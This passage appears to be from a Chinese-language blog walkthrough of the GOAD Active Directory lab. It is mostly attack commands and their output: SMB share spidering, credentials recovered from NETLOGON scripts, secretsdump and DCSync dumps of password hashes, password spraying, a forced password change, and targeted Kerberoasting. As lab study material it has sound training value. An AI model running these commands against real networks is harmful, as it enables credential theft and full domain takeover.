class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD-Light]\n\u2514\u2500$ nxc smb 192.168.56.11 -u 'jon.snow' -p 'iknownothing' -M spider_plus\nSMB         192.168.56.11   445    WINTERFELL       [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB         192.168.56.11   445    WINTERFELL       [+] north.sevenkingdoms.local\\jon.snow:iknownothing\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [*] Started module spidering_plus with the following options:\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [*]  DOWNLOAD_FLAG: False\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [*]     STATS_FLAG: True\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [*] EXCLUDE_FILTER: ['print$', 'ipc$']\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [*]   EXCLUDE_EXTS: ['ico', 'lnk']\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [*]  MAX_FILE_SIZE: 50 KB\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [*]  OUTPUT_FOLDER: \/home\/kali\/.nxc\/modules\/nxc_spider_plus\nSMB         192.168.56.11   445    WINTERFELL       [*] Enumerated shares\nSMB         192.168.56.11   445    WINTERFELL       Share           Permissions     Remark\nSMB         192.168.56.11   445    WINTERFELL       -----           -----------     ------\nSMB         192.168.56.11   445    WINTERFELL       ADMIN$                          Remote Admin\nSMB         192.168.56.11   445    WINTERFELL       C$                              Default share\nSMB         192.168.56.11   445    WINTERFELL       IPC$            READ            Remote IPC\nSMB         192.168.56.11   445    WINTERFELL       NETLOGON        READ            Logon server share\nSMB         192.168.56.11   445    WINTERFELL       SYSVOL          READ            Logon server share\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [+] Saved share-file metadata to \"\/home\/kali\/.nxc\/modules\/nxc_spider_plus\/192.168.56.11.json\".\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [*] SMB Shares:           5 (ADMIN$, C$, IPC$, NETLOGON, SYSVOL)\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [*] SMB Readable Shares:  3 (IPC$, NETLOGON, SYSVOL)\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [*] SMB Filtered Shares:  1\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [*] Total folders found:  19\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [*] Total files found:    12\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [*] File size average:    630.5 B\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [*] File size min:        22 B\nSPIDER_PLUS 192.168.56.11   445    WINTERFELL       [*] File size max:        3.68 KB\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD-Light]\n\u2514\u2500$ cat \/home\/kali\/.nxc\/modules\/nxc_spider_plus\/192.168.56.11.json\n{\n    \"NETLOGON\": {\n        \"script.ps1\": {\n            \"atime_epoch\": \"2026-09-02 06:42:43\",\n            \"ctime_epoch\": \"2026-09-02 06:42:43\",\n            \"mtime_epoch\": \"2026-09-02 06:42:40\",\n            \"size\": \"165 B\"\n        },\n        \"secret.ps1\": {\n            \"atime_epoch\": \"2026-09-02 06:42:55\",\n            \"ctime_epoch\": \"2026-09-02 06:42:55\",\n            \"mtime_epoch\": \"2026-09-02 06:42:52\",\n            \"size\": \"869 B\"\n        }\n    },\n~\u7701\u7565~<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8a2a\u554f WINTERFELL SMB \u5f97\u5230\u5e33\u5bc6 jeor.mormont\/_L0ngCl@w_<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD-Light]\n\u2514\u2500$ impacket-smbclient 'north.sevenkingdoms.local'\/'jon.snow':'iknownothing'@'192.168.56.11'\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies\n\nType help for list of commands\n# use netlogon\n# cat script.ps1\n# fake script in netlogon with creds\n$task = '\/c TODO'\n$taskName = \"fake task\"\n$user = \"NORTH\\jeor.mormont\"\n$password = \"_L0ngCl@w_\"\n\n# passwords in sysvol still ...\n# cat secret.ps1\n# cypher script\n# $domain=\"sevenkingdoms.local\"\n# $EncryptionKeyBytes = New-Object Byte[] 32\n# [Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($EncryptionKeyBytes)\n# $EncryptionKeyBytes | Out-File \"encryption.key\"\n# $EncryptionKeyData = Get-Content \"encryption.key\"\n# Read-Host -AsSecureString | ConvertFrom-SecureString -Key $EncryptionKeyData | Out-File -FilePath \"secret.encrypted\"\n\n# secret stored :\n$keyData = 177, 252, 228, 64, 28, 91, 12, 201, 20, 91, 21, 139, 255, 65, 9, 247, 41, 55, 164, 28, 75, 132, 143, 71, 62, 191, 211, 61, 154, 61, 216, 91\n$secret=\"76492d1116743f0423413b16050a5345MgB8AGkAcwBDACsAUwArADIAcABRAEcARABnAGYAMwA3AEEAcgBFAEIAYQB2AEEAPQA9AHwAZQAwADgANAA2ADQAMABiADYANAAwADYANgA1ADcANgAxAGIAMQBhAGQANQBlAGYAYQBiADQAYQA2ADkAZgBlAGQAMQAzADAANQAyADUAMgAyADYANAA3ADAAZABiAGEAOAA0AGUAOQBkAGMAZABmAGEANAAyADkAZgAyADIAMwA=\"\n\n# T.L.\n#<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f7f\u7528\u4ee5\u4e0b\u65b9\u5f0f\u5f97\u5230 Parent domain \u7684\u5176\u4e2d\u4e00\u500b\u5bc6\u78bc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">PS C:\\Users\\cheng&gt; $keyData = 177, 252, 228, 64, 28, 91, 12, 201, 20, 91, 21, 139, 255, 65, 9, 247, 41, 55, 164, 28, 75, 132, 143, 71, 62, 191, 211, 61, 154, 61, 216, 91\nPS C:\\Users\\cheng&gt; $secret=\"76492d1116743f0423413b16050a5345MgB8AGkAcwBDACsAUwArADIAcABRAEcARABnAGYAMwA3AEEAcgBFAEIAYQB2AEEAPQA9AHwAZQAwADgANAA2ADQAMABiADYANAAwADYANgA1ADcANgAxAGIAMQBhAGQANQBlAGYAYQBiADQAYQA2ADkAZgBlAGQAMQAzADAANQAyADUAMgAyADYANAA3ADAAZABiAGEAOAA0AGUAOQBkAGMAZABmAGEANAAyADkAZgAyADIAMwA=\"\nPS C:\\Users\\cheng&gt; $secure = $secret | ConvertTo-SecureString -Key $keyData\nPS C:\\Users\\cheng&gt;\nPS C:\\Users\\cheng&gt; [System.Net.NetworkCredential]::new(\"\", $secure).Password\npowerkingftw135\nPS C:\\Users\\cheng&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">jeor.mormont \u5c0d CASTELBLACK dump credential\uff0c\u5f97\u5230 sql_svc\/YouWillNotKerboroast1ngMeeeeee<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD-Light]\n\u2514\u2500$ nxc smb 192.168.56.11 192.168.56.22 -u 'jeor.mormont' -p '_L0ngCl@w_'\nSMB         192.168.56.11   445    WINTERFELL       [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB         192.168.56.22   445    CASTELBLACK      [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:None)\nSMB         192.168.56.11   445    WINTERFELL       [+] north.sevenkingdoms.local\\jeor.mormont:_L0ngCl@w_\nSMB         192.168.56.22   445    CASTELBLACK      [+] north.sevenkingdoms.local\\jeor.mormont:_L0ngCl@w_ (Pwn3d!)\nRunning nxc against 2 targets \u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501\u2501 100% 0:00:00\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD-Light]\n\u2514\u2500$ impacket-secretsdump 'north.sevenkingdoms.local'\/'jeor.mormont':'_L0ngCl@w_'@'192.168.56.22'\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies\n\n[*] Service RemoteRegistry is in stopped state\n[*] Starting service RemoteRegistry\n[*] Target system bootKey: 0x8c1e486a19f8705f22ed89d989788707\n[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nDefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nWDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4363b6dc0c95588964884d7e1dfea1f7:::\nvagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::\n[*] Dumping cached domain logon information (domain\/username:hash)\nNORTH.SEVENKINGDOMS.LOCAL\/sql_svc:$DCC2$10240#sql_svc#89e701ebbd305e4f5380c5150494584a: (2026-09-03 04:26:59+00:00)\nNORTH.SEVENKINGDOMS.LOCAL\/robb.stark:$DCC2$10240#robb.stark#f19bfb9b10ba923f2e28b733e5dd1405: (2026-09-03 04:29:49+00:00)\n[*] Dumping LSA Secrets\n[*] $MACHINE.ACC\nNORTH\\CASTELBLACK$:aes256-cts-hmac-sha1-96:de2954b1bcaec5897c1f1c28f1d9c6dcac41846a7ded0a5ccda5b609f87c6b47\nNORTH\\CASTELBLACK$:aes128-cts-hmac-sha1-96:8851efd4014b5d6d0aad2f21deba4265\nNORTH\\CASTELBLACK$:des-cbc-md5:b01cb0ef5e4ff452\nNORTH\\CASTELBLACK$:plain_password_hex:70002e002300510041003a00460049006c0028003200440057005a0037004e00540044005d0059004d0050006b003100770037002d006a0036002a007500660067003300320079007100490078006000630070005b002c005300760059002800520029005d0061006200380068006e0039004a005a006b0053004f005700260033002e00250060006a004d006e0073003d00420065005e0037005d004a00570055005a0044006d003b0021004f0062006c0066005c002e00410076002c007900300028004f0057004e005a004a002400210069002700550029002d003d0053007200350028004300640053005e002500\nNORTH\\CASTELBLACK$:aad3b435b51404eeaad3b435b51404ee:0134067200b96169a589fecb0e824c54:::\n[*] DPAPI_SYSTEM\ndpapi_machinekey:0x98ff30fc4c0179e589c3019c502e8ad0546be0f7\ndpapi_userkey:0x2d746879c1f8ad66aa265a039cba7e39b36f5e81\n[*] NL$KM\n 0000   22 34 01 76 01 70 30 93  88 A7 6B B2 87 43 59 69   \"4.v.p0...k..CYi\n 0010   0E 41 BD 22 0A 0C CC 23  3A 5B B6 74 CB 90 D6 35   .A.\"...#:[.t...5\n 0020   14 CA D8 45 4A F0 DB 72  D5 CF 3B A1 ED 7F 3A 98   ...EJ..r..;...:.\n 0030   CD 4D D6 36 6A 35 24 2D  A0 EB 0F 8E 3F 52 81 C9   .M.6j5$-....?R..\nNL$KM:223401760170309388a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad8454af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9\n[*] _SC_MSSQL$SQLEXPRESS\nnorth.sevenkingdoms.local\\sql_svc:YouWillNotKerboroast1ngMeeeeee\n[*] Cleaning up...\n[*] Stopping service RemoteRegistry<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528 responder \u6355\u6349\u5230 robb.stark\uff0c\u7834\u89e3 hash \u5f97\u5230\u5bc6\u78bc sexywolfy<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u767c\u73fe robb.stark access SMB \u53ef\u4ee5 pwn \uff0c \u5c0d north.sevenkingdoms.local DCsync<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD-Light]\n\u2514\u2500$ nxc smb '192.168.56.11' -u 'robb.stark' -p 'sexywolfy'\nSMB         192.168.56.11   445    WINTERFELL       [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB         192.168.56.11   445    WINTERFELL       [+] north.sevenkingdoms.local\\robb.stark:sexywolfy (Pwn3d!)\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD-Light]\n\u2514\u2500$ impacket-secretsdump 'north.sevenkingdoms.local'\/'robb.stark':'sexywolfy'@'192.168.56.11'\nImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies\n\n[*] Service RemoteRegistry is in stopped state\n[*] Starting service RemoteRegistry\n[*] Target system bootKey: 0x1f175ad7b56af8c72d76009ec831c31d\n[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nDefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\n[*] Dumping cached domain logon information (domain\/username:hash)\n[*] Dumping LSA Secrets\n[*] $MACHINE.ACC\nNORTH\\WINTERFELL$:aes256-cts-hmac-sha1-96:896be2d22999687782c07a2ea1690b0d74143b70b4ca3c2ef975da36f70d6772\nNORTH\\WINTERFELL$:aes128-cts-hmac-sha1-96:e6e636c08fcf2be017a1e6d5cec5c1f7\nNORTH\\WINTERFELL$:des-cbc-md5:759b4604f4373b7f\nNORTH\\WINTERFELL$:plain_password_hex:2369a8d773402b5a1005999a069e1e16a20b6e3ca190d59296ff7ead63983aaf2cd8182b46247125a80ceefcd336a49e0e04ad500cad901b0ecf4f289105118fe74ad0a6a537d30aa47c2cb59293ca858c168375cdb70f4453e2c9f955ea66fbefaa8dacc34ca97101222cd2efe30020b7e71a77f58cd8875a4c77b7cd725ea1b26af00e37018320b2a4ac880d778baf33370cf2531392edd88ca1f39c934ce78ab5f7153dfff83d704c383ffc31992f2cb3d961cd2064cc2120108e72501f8f20750918673f9d7bff042bc3f600ee878db997b9a9578e62956874bcee7c50e2e6acef8c00b9d7f135bdf3906cbf2ad6\nNORTH\\WINTERFELL$:aad3b435b51404eeaad3b435b51404ee:22cc0ec994bda88a51feb4ac973a8b74:::\n[*] DefaultPassword\nNORTH\\robb.stark:sexywolfy\n[*] DPAPI_SYSTEM\ndpapi_machinekey:0x21f5564044a914d9b54222fcc6ec129cd3da04f6\ndpapi_userkey:0x622c81c51145069ec94eb849661b37c2c32d51b8\n[*] NL$KM\n 0000   22 34 01 76 01 70 30 93  88 A7 6B B2 87 43 59 69   \"4.v.p0...k..CYi\n 0010   0E 41 BD 22 0A 0C CC 23  3A 5B B6 74 CB 90 D6 35   .A.\"...#:[.t...5\n 0020   14 CA D8 45 4A F0 DB 72  D5 CF 3B A1 ED 7F 3A 98   ...EJ..r..;...:.\n 0030   CD 4D D6 36 6A 35 24 2D  A0 EB 0F 8E 3F 52 81 C9   .M.6j5$-....?R..\nNL$KM:223401760170309388a76bb2874359690e41bd220a0ccc233a5bb674cb90d63514cad8454af0db72d5cf3ba1ed7f3a98cd4dd6366a35242da0eb0f8e3f5281c9\n[*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)\n[*] Using the DRSUAPI method to get NTDS.DIT secrets\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4:::\nGuest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\nkrbtgt:502:aad3b435b51404eeaad3b435b51404ee:05b0076a5f794c79aa50d25b87b7032a:::\nvagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::\narya.stark:1110:aad3b435b51404eeaad3b435b51404ee:4f622f4cd4284a887228940e2ff4e709:::\neddard.stark:1111:aad3b435b51404eeaad3b435b51404ee:d977b98c6c9282c5c478be1d97b237b8:::\ncatelyn.stark:1112:aad3b435b51404eeaad3b435b51404ee:cba36eccfd9d949c73bc73715364aff5:::\nrobb.stark:1113:aad3b435b51404eeaad3b435b51404ee:831486ac7f26860c9e2f51ac91e1a07a:::\nsansa.stark:1114:aad3b435b51404eeaad3b435b51404ee:b777555c2e2e3716e075cc255b26c14d:::\nbrandon.stark:1115:aad3b435b51404eeaad3b435b51404ee:84bbaa1c58b7f69d2192560a3f932129:::\nrickon.stark:1116:aad3b435b51404eeaad3b435b51404ee:7978dc8a66d8e480d9a86041f8409560:::\nhodor:1117:aad3b435b51404eeaad3b435b51404ee:337d2667505c203904bd899c6c95525e:::\njon.snow:1118:aad3b435b51404eeaad3b435b51404ee:b8d76e56e9dac90539aff05e3ccb1755:::\nsamwell.tarly:1119:aad3b435b51404eeaad3b435b51404ee:f5db9e027ef824d029262068ac826843:::\njeor.mormont:1120:aad3b435b51404eeaad3b435b51404ee:6dccf1c567c56a40e56691a723a49664:::\nsql_svc:1121:aad3b435b51404eeaad3b435b51404ee:84a5092f53390ea48d660be52b93b804:::\nWINTERFELL$:1001:aad3b435b51404eeaad3b435b51404ee:22cc0ec994bda88a51feb4ac973a8b74:::\nCASTELBLACK$:1105:aad3b435b51404eeaad3b435b51404ee:0134067200b96169a589fecb0e824c54:::\nSEVENKINGDOMS$:1104:aad3b435b51404eeaad3b435b51404ee:6ccbedad027c526763743f68b222697c:::<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u679a\u8209 parent domain \u7684 users<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD-Light]\n\u2514\u2500$ nxc smb '192.168.56.10' -u 'robb.stark' -p 'sexywolfy' -d north.sevenkingdoms.local --users-export sevenkingdoms.local.users\nSMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB         192.168.56.10   445    KINGSLANDING     [+] north.sevenkingdoms.local\\robb.stark:sexywolfy\nSMB         192.168.56.10   445    KINGSLANDING     -Username-                    -Last PW Set-       -BadPW- -Description-\nSMB         192.168.56.10   445    KINGSLANDING     Administrator                 2026-09-01 13:50:47 0       Built-in account for administering the computer\/domain\nSMB         192.168.56.10   445    KINGSLANDING     Guest                         &lt;never&gt;             0       Built-in account for guest access to the computer\/domain\nSMB         192.168.56.10   445    KINGSLANDING     krbtgt                        2026-09-01 14:06:49 0       Key Distribution Center Service Account\nSMB         192.168.56.10   445    KINGSLANDING     vagrant                       2021-05-12 11:38:55 0       Vagrant User\nSMB         192.168.56.10   445    KINGSLANDING     tywin.lannister               2026-09-02 02:12:45 0       Tywin Lanister\nSMB         192.168.56.10   445    KINGSLANDING     jaime.lannister               2026-09-02 02:12:54 0       Jaime Lanister\nSMB         192.168.56.10   445    KINGSLANDING     cersei.lannister              2026-09-02 02:13:02 0       Cersei Lanister\nSMB         192.168.56.10   445    KINGSLANDING     tyron.lannister               2026-09-02 02:13:11 0       Tyron Lanister\nSMB         192.168.56.10   445    KINGSLANDING     robert.baratheon              2026-09-02 02:13:19 0       Robert Lanister\nSMB         192.168.56.10   445    KINGSLANDING     joffrey.baratheon             2026-09-02 02:13:27 0       Joffrey Baratheon\nSMB         192.168.56.10   445    KINGSLANDING     renly.baratheon               2026-09-02 02:13:36 0       Renly Baratheon\nSMB         192.168.56.10   445    KINGSLANDING     stannis.baratheon             2026-09-02 02:13:45 0       Stannis Baratheon\nSMB         192.168.56.10   445    KINGSLANDING     petyer.baelish                2026-09-02 02:13:53 0       Petyer Baelish\nSMB         192.168.56.10   445    KINGSLANDING     lord.varys                    2026-09-02 02:14:01 0       Lord Varys\nSMB         192.168.56.10   445    KINGSLANDING     maester.pycelle               2026-09-02 02:14:09 0       Maester Pycelle\nSMB         192.168.56.10   445    KINGSLANDING     [*] Enumerated 15 local users: SEVENKINGDOMS\nSMB         192.168.56.10   445    KINGSLANDING     [*] Writing 15 local users to sevenkingdoms.local.users\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0a\u9762\u6709\u63d0\u5230\u627e\u5230 parent domain \u7684\u4e00\u500b\u5bc6\u78bc powerkingftw135 \uff0c spray \u5f8c\u767c\u73fe\u662f tywin.lannister \u7684<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/GOAD-Light]\n\u2514\u2500$ nxc smb '192.168.56.10' -u sevenkingdoms.local.users -p 'powerkingftw135'\nSMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB         192.168.56.10   445    KINGSLANDING     [-] sevenkingdoms.local\\Administrator:powerkingftw135 STATUS_LOGON_FAILURE\nSMB         192.168.56.10   445    KINGSLANDING     [-] sevenkingdoms.local\\Guest:powerkingftw135 STATUS_LOGON_FAILURE\nSMB         192.168.56.10   445    KINGSLANDING     [-] sevenkingdoms.local\\krbtgt:powerkingftw135 STATUS_LOGON_FAILURE\nSMB         192.168.56.10   445    KINGSLANDING     [-] sevenkingdoms.local\\vagrant:powerkingftw135 STATUS_LOGON_FAILURE\nSMB         192.168.56.10   445    KINGSLANDING     [+] sevenkingdoms.local\\tywin.lannister:powerkingftw135<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u63a5\u4e0b\u4f86 DC01 \u7684\u6253\u6cd5\u5c31\u8ddf\u4e0b\u9762\u7684 GOAD-Mini \u4e00\u6a23<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">GOAD-Mini<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"878\" height=\"572\" src=\"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-2.png\" alt=\"\" class=\"wp-image-777\" srcset=\"https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-2.png 878w, https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-2-300x195.png 300w, https:\/\/chengyunpu.com\/wordpress\/wp-content\/uploads\/2026\/08\/image-2-768x500.png 768w\" sizes=\"auto, (max-width: 878px) 100vw, 878px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/medium.com\/@Obfuscator\/kerberos-authentication-5cda4b4e5f09\" target=\"_blank\" rel=\"noreferrer noopener\">Kerberos Authentication \u77e5\u8b58\u88dc\u5145<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">assume breach <code>tywin.lannister:powerkingftw135<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ bloodhound-python -d 'sevenkingdoms.local' -ns '192.168.56.10' -u 'tywin.lannister' -p 'powerkingftw135' -c all --zip\nINFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)\nINFO: Found AD domain: sevenkingdoms.local\nINFO: Getting TGT for user\nINFO: Connecting to LDAP server: kingslanding.sevenkingdoms.local\nINFO: Found 1 domains\nINFO: Found 1 domains in the forest\nINFO: Found 1 computers\nINFO: Connecting to LDAP server: kingslanding.sevenkingdoms.local\nINFO: Found 16 users\nINFO: Found 59 groups\nINFO: Found 2 gpos\nINFO: Found 9 ous\nINFO: Found 19 containers\nINFO: Found 0 trusts\nINFO: Starting computer enumeration with 10 workers\nINFO: Querying computer: kingslanding.sevenkingdoms.local\nINFO: Done in 00M 01S\nINFO: Compressing output into 20260812053335_bloodhound.zip<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u653b\u64ca\u8def\u5f91\u5982\u4e0b<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><img decoding=\"async\" src=\"https:\/\/hackmd.io\/_uploads\/BJwyH6YLfx.png\" alt=\"image\"><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><code>ForceChangePassword<\/code> to JAIME.LANNISTER\uff1a<br>\u7528 tywin.lannister \u66f4\u6539 JAIME.LANNISTER \u7684\u5bc6\u78bc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ nxc smb '192.168.56.10' -u 'tywin.lannister' -p 'powerkingftw135' -M change-password -o USER='JAIME.LANNISTER' NEWPASS='P@$$w0rd'\nSMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB         192.168.56.10   445    KINGSLANDING     [+] sevenkingdoms.local\\tywin.lannister:powerkingftw135\nCHANGE-P... 192.168.56.10   445    KINGSLANDING     [+] Successfully changed password for JAIME.LANNISTER\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ nxc smb '192.168.56.10' -u 'JAIME.LANNISTER' -p 'P@$$w0rd'\nSMB         192.168.56.10   445    KINGSLANDING     [*] Windows 10 \/ Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:None) (Null Auth:True)\nSMB         192.168.56.10   445    KINGSLANDING     [+] sevenkingdoms.local\\JAIME.LANNISTER:P@$$w0rd<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><code>GenericWrite<\/code> \u53d6\u5f97 joffrey.baratheon \u7684 hash \u4e26\u7834\u89e3\uff0c\u5f97\u660e\u6587\u5bc6\u78bc 1killerlion<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code lang=\"bash\" class=\"language-bash\">\u250c\u2500\u2500(kali\u327fkali)-[~\/mini]\n\u2514\u2500$ ..\/tools\/targetedKerberoast\/targetedKerberoast.py -v -d 'sevenkingdoms.local' -u 'JAIME.LANNISTER' -p 'P@$$w0rd'\n[*] Starting kerberoast attacks\n[*] Fetching usernames from Active Directory with LDAP\n[VERBOSE] SPN added successfully for (joffrey.baratheon)\n[+] Printing hash for (joffrey.baratheon)\n$krb5tgs$23$*joffrey.baratheon$SEVENKINGDOMS.LOCAL$sevenkingdoms.local\/joffrey.baratheon*$b905c2a3d5da4a43c57a80ba3689cc26$c440c9645606bcae5a01ca8228a89595695628a5028d855b1fb6f0f1acd66d119f603c6a9c4c6fba05bc9f6d365d3cc717a5a2ea4e6a85a4deb75392c52a569e31ba844a2196b04caa41ef63f6d8881d4a6d2b4d26c57ecdc90e9781f13d2565228db325efc7c3fc8c7d9e93f590d582f44ce67c12f1d7e3e22693cc597303c832fd1d63a648edc7cf612c865ae61371e648394fef91b7d369039cfdbe2152c955d83fc84d6fbe4ed7be48f752ed3ab92ac4949b6be459260889ed0e1877dd97ea8cb0e2cb269d71af740aded3ede16ff9869154f28e0904cf543d6cdb77c712697bc08dd0a6d1d6c0915c05e35d8c05f98f4c8b23481cfb46737f59d87920c554c891aade225ec2d0bd4d569782efaae418628edac4e005e5182e055543c36c4b7b95aaaaeb6b468990437de839381052e75d9598216c30020189bb9456d62810b6a039c979f66310feefb86a3afcbe91ef4efb9d63356db76e83b88d329ba6e00b1ba04a7731e1950d13970c628086583c2ce01971c39c3f0fb97324b5b8ae7aa281661f0b5cbdc4dd839c14c607fb23d6e4d59749fb3cbc9ed2d147e799675eb6fc3c711f6a1f45482ddef9ceffbf8c67e168198ff87231fe0dbb4ae48832e2c6e6863041e5357188b28f98d02d8f2d3961a24a725de0ed49eb5050cf2b168533cd1cd5358b6aa669509134caef2599bc710c23c4d89086841b03d181b2021af4a7aa08f9bd780e6c7d32b6c629dd800450f61a5e8ef5d91bda70c9cd9569e0a12d9751ed6826a05c29f372e6e72173886c5df8799c17bf43adab7967211f6fd935cf22ae4d0cb58095fe4b33b9b6a40df9f3f8fc2c68ffaa154a37dca773bb55a81defcbc804d325b3dab9d1e480e96cb301c5539dcceb5ffc8cd81de96284722a04534df1ff6e0a0cb9a044baeb2ec76b45167ac7c25706a60870183af200ef7f409646ddd2af9958c017c7669547f47ac2eadbc06415c557ba1fbbb7527a36617818321f834d430026477872e6caffb0c4d2789ee9fc05e8c1aee2609dc27264aef6c7ef43111bace179022689c4d574cfe5664ef77a581cac15428f2aa762ba393f7d3a3bfbf26ceb995bac378c09fa426cd965236e15ab2288f5d8ed0cea922f9eb33b8bb485e46a497f2278fe84c1b3a71ec301f14d5e2afd823d48e4c4a9fba72d935b83436870a7e79f379f2e8d49640a6f8fb7d3f43f36034d0eb0d3b7e0401618b1e1a96e573b9bd2d312da4f5981f933f85e87ed8657f31b99b6df968e7eb60fde2e3acefa43c3e7fb5d7f62d68a649cd719cef9f467ff14c72e9ed556df40fae616affabafc49d82593da610398112d2e111397f115a3b07029d9a611031c4a499cd52123ee4bb70df94